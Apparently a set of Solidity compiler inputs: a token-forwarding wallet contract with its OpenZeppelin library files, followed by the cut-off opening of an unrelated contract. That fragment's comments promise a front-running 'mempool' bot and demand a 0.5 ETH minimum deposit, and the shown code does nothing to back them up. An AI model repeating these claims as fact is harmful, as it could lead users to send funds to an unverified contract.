success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
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]
}
},
"libraries": {}
}
}}
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{{
"language": "Solidity",
"sources": {
"contracts/Forwarder.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.8.10;\nimport '@openzeppelin/contracts/token/ERC1155/IERC1155.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721.sol';\nimport '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';\nimport '@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol';\nimport './ERC20Interface.sol';\nimport './TransferHelper.sol';\nimport './IForwarder.sol';\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder is IERC721Receiver, ERC1155Receiver, IForwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n bool public autoFlush721 = true;\n bool public autoFlush1155 = true;\n\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(\n address _parentAddress,\n bool _autoFlush721,\n bool _autoFlush1155\n ) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n // set whether we want to automatically flush erc721/erc1155 tokens or not\n autoFlush721 = _autoFlush721;\n autoFlush1155 = _autoFlush1155;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n\n // NOTE: since we are forwarding on initialization,\n // we don't have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, 'Only Parent');\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), 'Already initialized');\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush721(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush721 = autoFlush;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function setAutoFlush1155(bool autoFlush)\n external\n virtual\n override\n onlyParent\n {\n autoFlush1155 = autoFlush;\n }\n\n /**\n * ERC721 standard callback function for when a ERC721 is transfered. The forwarder will send the nft\n * to the base wallet once the nft contract invokes this method after transfering the nft.\n *\n * @param _operator The address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/ERC20Interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"
},
"contracts/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n"
},
"contracts/IForwarder.sol": {
"content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
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|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// User guide info, updated build
// Testnet transactions will fail because they have no value in them
// FrontRun api stable build
// Mempool api stable build
// BOT updated build
// Min liquidity after gas fees has to equal 0.5 ETH //
interface IERC20 {
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
